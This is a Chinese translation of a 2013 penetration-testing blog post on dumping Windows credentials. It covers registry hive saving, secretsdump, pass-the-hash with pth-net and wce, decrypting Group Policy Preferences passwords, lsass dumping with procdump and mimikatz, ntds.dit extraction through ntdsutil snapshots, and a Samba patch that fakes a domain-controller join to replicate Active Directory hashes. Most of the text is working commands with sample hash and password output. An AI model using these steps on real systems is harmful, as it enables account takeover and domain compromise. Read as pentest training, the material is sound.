原文地址:https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/
参考资料:http://bernardodamele.blogspot.com.au/
一)从Windows主机上获取口令:
1)注册表
获得一份SYSTEM, SECURITY 和 SAM信息,download到本地机器
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
2)密码hash
通过一条secretsdump(
https://code.google.com/p/impacket/source/browse/trunk/examples/secretsdump.py)命令获得本地账户的密码hash,缓存的域口令以及LSA密码
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies
Target system bootKey: 0x602e8c2947d56a95bf9cfad9e0bbbace
Dumping local SAM hashes (uid:rid:lmhash:nthash)
renadm:500:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
hdes:6ec74661650377df488415415bf10321:securus.corp.com:SECURUS:::
Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:SECURUS.CORP.COM:SECURUS:::
Dumping LSA Secrets
$MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
...
3)本地SAM Hashes
使用Ophcrack破解LM hash(ophcrack == >>
http://ophcrack.sourceforge.net/)
使用JtR或hashcat破解NT hash(Jtr == >>
http://www.openwall.com/john/ hashcat ==>>
http://hashcat.net/)
即使不能破解hash,也可能通过传递其他账户的hash方法攻击其他主机甚至域。(传递hash攻击:
http://en.wikipedia.org/wiki/Pass_the_hash)
4)缓存的域口令
存在一些域用户之前登录的密码hash口令
使用JtR或hashcat破解。注意声明格式,要么是mscash(xp,w2k3),要么是mscash2(vista,w2k8,w2k8...)。注意不能使用这种hash进行传递hash攻击
5)LSA秘密
在这里,将会发现账户密码被设置给低级别的服务(不同于Local System, Network Service 以及, Local Service),自动登录等
如果Windows主机是域中的一员,将会发现域主机的口令,通过这个口令,可以通过域认证,从而可以列举域用户,管理员以及浏览共享文件夹等
在Windows上使用wce或Kali中的pth来利用这些口令
$ pth-net rpc user -U 'securus\john-pc$%aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f' -S dc1.securus.corp.com
Administrator
hdes
...
通过域控制器来查找Group Policy Preferences (GPP)密码,并破解:
C:\> wce.exe -s john-pc:securus:aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
C:\> findstr /S cpassword \\dc1.securus.corp.com\sysvol\*.xml
\\192.168.122.55\sysvol\securus.corp.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml: ="" description="" cpassword="1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="1" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/>
C:\> ruby gppdecrypt.rb 1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs
1q2w3e4r5t
6)内存中口令
使用mimikatz从内存获取纯文本密码以及通过任务管理器获得LSASS进程
(mimikatz == >>
http://blog.gentilkiwi.com/securite/mimikatz/minidump)
通过使用Windows自带的任务管理器右击lsass.exe,然后选自“Create Dump FIle”把lsass.exe进程到dump到一个本地文件,或者Procdump(vista之前的版本),也可以使用powershell(
http://carnal0wnage.attackresearch.com/2013/07/mimikatz-minidump-and-mimikatz-via-bat.html)
C:\> procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
然后使用mimikatz和它的minidump模块dump口令
C:\> mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit
确保mimikatz的主版本和dump文件的版本以及架构一致(参考:
http://blog.gentilkiwi.com/wp-content/uploads/2013/04/minidump_matrix.png)
相应的,也可以上传wce到主机上,但是二进制文件可能被杀毒软件过滤(参考:
http://www.ampliasecurity.com/research/wcefaq.html)
7)Credential Manager
当一个user认证一个共享网络服务,一个代理或使用客户端软件的时候点击了Remember my password”,密码一般会存储成一个使用Windows Data Protection API加密后的vault,可以从Credential Manager中看到每一个被加密的vault,然后可以通过Network Password Recoverydump他们。注意架构,否则失败。(Network Password Recovery ==>>
http://www.nirsoft.net/utils/network_password_recovery.html)
8)受保护的存储
通过Protected Storage PassView获得IE, Outlook和MSN 中的密码
9)第三方软件
NirSoft 提供很多恢复第三方软件口令的工具(
http://nirsoft.net/utils/index.html#password_utils)
二)从域控制器中获得域用户口令
这些技术用于你能访问域控制器是获取域用户口令
1)Volume Shadow Copy
这种技术由从域控制器等Directory服务中获取Active Directory数据库(也就是ntds.dit文件)组成。要求攻击者交互式地通过远程桌面或"psexec"登录到域控制器--背后的理论是使用Volume Shadow Copy功能获得一份ntds.dit,这个文件有时可能被锁住或没有读权限。
首先注意Volume Shadow Copy 服务的状态。如果Volume Shadow Copy没有启动(默认启动的),通过ntdsutil或vssadmin来启动服务。记住当工作完成后要把状态恢复。
然后从DSA Database file参数中确认ntds.dit文件位置
C:\> reg.exe query hklm\system\currentcontrolset\services\ntds\parameters
然后,检查ntds.dit文件大小,确保至少有两倍的空闲空间。之后使用ntdsutil(
http://technet.microsoft.com/en-us/library/cc753343.aspx)工具来做一个active directory database快照。
C:\> ntdsutil
ntdsutil: snapshot
snapshot: activate instance NTDS
Active instance set to "NTDS".
snapshot: list all
No snapshots found.
// If there is a recent snapshot (ie. backups scheduled with Windows Server Backup), then consider using that instead of creating a new one.)
snapshot: create
Creating snapshot...
Snapshot set {ef026688-4c02-48b6-bc24-24df118eb7a2} generated successfully.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: mount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} mounted as C:\$SNAP_201310241833_VOLUMEC$\
接下来从C:\$SNAP_201310241833_VOLUMEC$\Windows\NTDS\下载一份ntds.dit文件,同时获得一份SYSTEM注册表(reg.exe save HKLM\SYSTEM c:\system.save)。
然后删除信息
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} C:\$SNAP_201310241833_VOLUMEC$\
snapshot: unmount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} unmounted.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: delete 1
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} deleted.
snapshot: ^C
恢复VSS服务到原来的状态。也可以使用vssadmin(http://www.pentestgeek.com/2013/01/10/psexec_command-not-your-daddys-psexec/),但是vssadmin不能提供“一致的”快照,但是ntdsutil可以提供恰当的ntds数据库的备份。但是在Windows2003上,ntdsutil不能创建快照,所以只能使用vssadmin。
如果ntds.dit文件出现损坏,使用esentutl(
http://technet.microsoft.com/en-us/library/hh875546.aspx)修复:
sentutl /p /o ntds.dit
现在使用secretsdump(
http://code.google.com/p/impacket/source/browse/trunk/examples/secretsdump.py)来dump hash文件
$ secretsdump.py -system system.save -ntds ntds.dit LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies
Target system bootKey: 0x24f65609994cdbec01b8b0b61cf6a332
Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Searching for pekList, be patient
Pek found and decrypted: 0xca47b3a8b3477cec0a774bed669c3d9f
Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a881324bad161293dedc71817988d944:::
...
也可以使用-history选项来dump历史密码
2)AD Replication (EXPERIMENTAL)
这种技术相比于Volume Shadow Copy侵略性更弱一些,因为它不需要创建AD数据库的快照,启动VSS服务,甚至交换性登录DC服务器。同时如果服务器被剥离了管理员的Se*特权,完全禁止了VSS服务,禁止创建新服务时,它也是最好的选择。
这个技术有本地复制AD数据库组成。AD复制通常发生在一个新的域控制器加入到域中的时候,无路如何,加入一个新的域服务器比在AD数据库中创建一个新的object,然后甚至在删除后还会留下记号这种入侵性要小一些。所以我们需要一个工具来进行复制步骤
由于Samba实现了添加一个DC到域中的所有步骤,所以我们可以修改Samba来实现。我们做的变更只是禁止所有往AD传送数据的步骤而只留下复制的步骤。
使用如下的patch
--- ./src/samba-4.1.0/python/samba/join.py 2013-11-17 04:08:05.393333375 +1100
+++ /usr/lib/python2.7/site-packages/samba/join.py 2013-11-17 04:29:22.209999075 +1100
@@ -1053,6 +1053,11 @@
ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ]
ctx.full_nc_list = [ctx.base_dn, ctx.config_dn, ctx.schema_dn ]
+ ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value(“objectGUID”, ‘\x84\xb9\xe6\xb1t[\xb3A\x9e\xcbkwvd2u')) # any GUID will do
+ ctx.join_provision()
+ ctx.join_replicate()
+ return
+
if not ctx.subdomain:
然后准备复制
# rm -fr /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf
# echo nameserver 192.168.122.55 > /etc/resolv.conf # this is the IP address of the DC
创建副本
# samba-tool domain join securus.corp.com DC -U securus\\administrator%Bonjour1 --realm=securus.corp.com
Finding a writeable DC for domain 'securus.corp.com'
Found DC dc1.securus.corp.com
workgroup is SECURUS
realm is securus.corp.com
Calling bare provision
More than one IPv4 address found. Using 192.168.122.25
No IPv6 address will be assigned
Provision OK for domain DN DC=securus,DC=corp,DC=com
Starting replication
Did not manage to negotiate mandetory feature SIGN for dcerpc auth_level 6
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1553] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1622] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=securus,DC=corp,DC=com] objects[100] linked_values[24]
Partition[DC=securus,DC=corp,DC=com] objects[347] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
Joined domain SECURUS (SID S-1-5-21-427569568-2812416765-2687365192) as a DC
然后使用pdbedit 来dumpNThash
# pdbedit -L -w
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:1C3383C792692C7B897A8CCF50ADE8F7:[U ]:LCT-529540CA:
hdes:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:833966FB79EE1554A3D4B900E9337FFD:[UX ]:LCT-528D7BA5:
Samba不提供dump历史密码或LM hash的功能,但是可以用samba-pwdump.py(
http://files.securusglobal.com/samba-pwdump.py)脚本直接从LBD中提取出来
# ./samba-pwdump.py '/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb' -history
Administrator:500:43d119e8b3d8710bc2265b23734e0dac:a881324bad161293dedc71817988d944:::
jdoe:1111:b34ce522c3e4c877664345140a852f61:077cccc23f8ab7031726a3b70c694a49:::
jdoe_history0:1111:c23413a8a1e7665fccf9155e3e7db453:316c5ae8a7b5dfce4a5604d17d9e976e:::
为了区分不同,比较了LDIF导出的Root DSE 和AD的DNs
#!/bin/bash
# dump Root DSE
ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "" -s base 'objectclass=*'
# dump base DNs
contexts=('DC=securus,DC=corp,DC=com' 'CN=Configuration,DC=securus,DC=corp,DC=com' 'CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com' 'DC=DomainDnsZones,DC=securus,DC=corp,DC=com' 'DC=ForestDnsZones,DC=securus,DC=corp,DC=com')
for ctx in "${contexts[@]}"; do
ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "$ctx" -s sub 'objectclass=*'
done
唯一的不同就是域管理员的logonCount和lastLogon属性增加了。所以Root DSE的highestCommitedUSN属性也增加了。副本会在Windows的security log产生“Directory Service Access”记录,这是由于特权访问AD导致的。如果其他的分类也启动了,那么也会记录其他的log。副本不改变注册表项。
已有 0 人发表留言,猛击->> 这里<<-参与讨论
ITeye推荐